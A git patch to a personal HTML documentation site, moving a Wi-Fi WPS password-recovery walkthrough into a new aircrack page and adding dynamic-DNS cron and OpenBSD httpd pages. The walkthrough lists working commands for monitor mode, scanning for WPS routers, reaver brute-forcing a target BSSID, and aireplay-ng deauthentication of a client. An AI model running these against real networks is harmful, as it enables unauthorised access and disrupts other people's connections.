From 2fc20ef28d32bd8de7be2e2095519a24272b51bd Mon Sep 17 00:00:00 2001 From: punk Date: Fri, 23 Apr 2021 20:37:35 +0100 Subject: several fix's --- linux/index.html | 1 + linux/network.html | 20 +++++++++ linux/wireless.html | 94 ----------------------------------------- tools/aircrack.html | 117 ++++++++++++++++++++++++++++++++++++++++++++++++++++ tools/httpd.html | 65 +++++++++++++++++++++++++++++ tools/index.html | 1 + tools/network.html | 82 ------------------------------------ 7 files changed, 204 insertions(+), 176 deletions(-) create mode 100644 tools/aircrack.html create mode 100644 tools/httpd.html delete mode 100644 tools/network.html diff --git a/linux/index.html b/linux/index.html index c9a130f..8f8247c 100644 --- a/linux/index.html +++ b/linux/index.html @@ -178,6 +178,7 @@
  • 2.7.8. Tcpdump
  • 2.7.9. Nmap
  • 2.7.10 Wireless
  • +
  • Domain
  • 2.4 Storage diff --git a/linux/network.html b/linux/network.html index a0e542e..8c624ab 100644 --- a/linux/network.html +++ b/linux/network.html @@ -463,6 +463,26 @@ nmcli> save persistent +

    Domain

    + +

    To configure a sub-domain from + afraid.org, + generate cron job + to update ip every 5 minutes, check + about dynamic interface. + To run as system cron job add as root and remove + path line from example;

    + +
    +        # crontab -e
    +        
    + +

    Replace KEY and domain_name with correct one;

    + +
    +        4,9,14,19,24,29,34,39,44,49,54,59 * * * * sleep 22 ; wget --no-check-certificate -O - https://freedns.afraid.org/dynamic/update.php?[KEY]= >> /var/log/freedns_domain_name.log 2>&1 &
    +        
    + GNU/Linux Index

    diff --git a/linux/wireless.html b/linux/wireless.html index e15b112..82efd49 100644 --- a/linux/wireless.html +++ b/linux/wireless.html @@ -28,100 +28,6 @@ -

    Recover Password WPS

    - -

    First check processes that interfere with state of the interface and kill them;

    - -
    -        # airmon-ng check
    -
    -
    -        Found 5 processes that could cause trouble.
    -        If airodump-ng, aireplay-ng or airtun-ng stops working after
    -        a short period of time, you may want to kill (some of) them!
    -
    -        PID     Name
    -        1271    wpa_supplicant
    -        1576    wpa_supplicant
    -        1633    dhclient
    -        Process with PID 1576 (wpa_supplicant) is running on interface wlan0
    -        Process with PID 1633 (dhclient) is running on interface wlan0
    -        
    - -

    Pkill or kill all of them, ex 1271;

    - -
    -        # kill -15 1271
    -        
    - -

    If that fails;

    - -
    -        # kill -9 1271
    -        
    - -

    If wireless card is intel;

    - -
    -        # rmmod iwlmvm
    -        # rmmod iwlwifi
    -        # modprob iwlwifi
    -        
    - -

    Put interface in monitor mode;

    - -
    -        # iwconfig wlp2s0 mode monitor
    -        # ifconfig wlp2s0 up
    -        
    - -
    -        # airmon-ng start wlp2s0
    -
    -
    -        Interface       Chipset         Driver
    -
    -        wlp2s0           Intel AC        iwlwifi - [phy1]
    -                                        (monitor mode enabled on mon0)
    -        
    - -

    Airdump-ng don't report if a router have WPS or not, for that is used wash;

    - -
    -        # wash -i wlp2s0
    -        
    - -

    If the program report "Found packet with bad FCS", run with -C;

    - -
    -        # wash -C -i wlp2s0
    -        
    - -

    Put mon0 on same channel of target cell;

    - -
    -        # iwconfig mon0 channel 6
    -        
    - -

    Start the magic;

    - -
    -        # reaver -i mon0 -b A8:A6:68:98:0C:C5 -c 6 -vv
    -        
    - -

    If BSSID is cloaked, not being broadcasted, provide it to reaver;

    - -
    -        # reaver -i mon0 -b A8:A6:68:98:0C:C5 -c 6 -e "bssid_name" -vv
    -        
    - -

    -a address of access point, -c client to deauthenticate

    - -
    -        aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
    -        
    - - Tools Index

    This is part of the LeetIO System Documentation. diff --git a/tools/aircrack.html b/tools/aircrack.html new file mode 100644 index 0000000..5c8c42f --- /dev/null +++ b/tools/aircrack.html @@ -0,0 +1,117 @@ + + + + Aircrack-ng + + + Tools Index + +

    Aircrack-ng

    + +

    On OpenBSD;

    + +
    +        # ifconfig athn0 mediaopt monitor
    +        
    + + +

    Linux - WPS

    + +

    On linux there is airmon-ng to First check processes that interfere with state of the interface and kill them;

    + +
    +        # airmon-ng check
    +
    +
    +        Found 5 processes that could cause trouble.
    +        If airodump-ng, aireplay-ng or airtun-ng stops working after
    +        a short period of time, you may want to kill (some of) them!
    +
    +        PID     Name
    +        1271    wpa_supplicant
    +        1576    wpa_supplicant
    +        1633    dhclient
    +        Process with PID 1576 (wpa_supplicant) is running on interface wlan0
    +        Process with PID 1633 (dhclient) is running on interface wlan0
    +        
    + +

    Pkill or kill all of them, ex 1271;

    + +
    +        # kill -15 1271
    +        
    + +

    If that fails;

    + +
    +        # kill -9 1271
    +        
    + +

    If wireless card is intel;

    + +
    +        # rmmod iwlmvm
    +        # rmmod iwlwifi
    +        # modprob iwlwifi
    +        
    + +

    Put interface in monitor mode;

    + +
    +        # iwconfig wlp2s0 mode monitor
    +        # ifconfig wlp2s0 up
    +        
    + +
    +        # airmon-ng start wlp2s0
    +
    +
    +        Interface       Chipset         Driver
    +
    +        wlp2s0           Intel AC        iwlwifi - [phy1]
    +                                        (monitor mode enabled on mon0)
    +        
    + +

    Airdump-ng don't report if a router have WPS or not, for that is used wash;

    + +
    +        # wash -i wlp2s0
    +        
    + +

    If the program report "Found packet with bad FCS", run with -C;

    + +
    +        # wash -C -i wlp2s0
    +        
    + +

    Put mon0 on same channel of target cell;

    + +
    +        # iwconfig mon0 channel 6
    +        
    + +

    Start the magic;

    + +
    +        # reaver -i mon0 -b A8:A6:68:98:0C:C5 -c 6 -vv
    +        
    + +

    If BSSID is cloaked, not being broadcasted, provide it to reaver;

    + +
    +        # reaver -i mon0 -b A8:A6:68:98:0C:C5 -c 6 -e "bssid_name" -vv
    +        
    + +

    -a address of access point, -c client to deauthenticate

    + +
    +        aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
    +        
    + Tools Index +

    This is part of the LeetIO System Documentation. + Copyright (C) 2021 + LeetIO Team. + See the file Gnu Free Documentation License + for copying conditions.

    + + diff --git a/tools/httpd.html b/tools/httpd.html new file mode 100644 index 0000000..affb121 --- /dev/null +++ b/tools/httpd.html @@ -0,0 +1,65 @@ + + + + + Httpd + + + + Tools Index + +

    Httpd

    + +

    On OpenBSD copy default configuration file;

    + +
    +        # cp /etc/examples/httpd.conf /etc/httpd.conf
    +        
    + +

    Default configuration looks like this;

    + +
    +        # $OpenBSD: httpd.conf,v 1.20 2018/06/13 15:08:24 reyk Exp $
    +
    +        server "example.com" {
    +                listen on * port 80
    +                location "/.well-known/acme-challenge/*" {
    +                        root "/acme"
    +                        request strip 2
    +                }
    +                location * {
    +                        block return 302 "https://$HTTP_HOST$REQUEST_URI"
    +                }
    +        }
    +
    +        server "example.com" {
    +                listen on * tls port 443
    +                tls {
    +                        certificate "/etc/ssl/example.com.fullchain.pem"
    +                        key "/etc/ssl/private/example.com.key"
    +                }
    +                location "/pub/*" {
    +                        directory auto index
    +                }
    +                location "/.well-known/acme-challenge/*" {
    +                        root "/acme"
    +                        request strip 2
    +                }
    +        }
    +        
    + +

    Check configuration;

    + +
    +        httpd -n
    +        
    + + Tools Index +

    + This is part of the LeetIO System Documentation. + Copyright (C) 2021 + LeetIO Team. + See the file Gnu Free Documentation License + for copying conditions.

    + + diff --git a/tools/index.html b/tools/index.html index dd73571..f4a3be2 100644 --- a/tools/index.html +++ b/tools/index.html @@ -87,6 +87,7 @@
  • 3. Reverse connection
  • +
  • Httpd
  • Nginx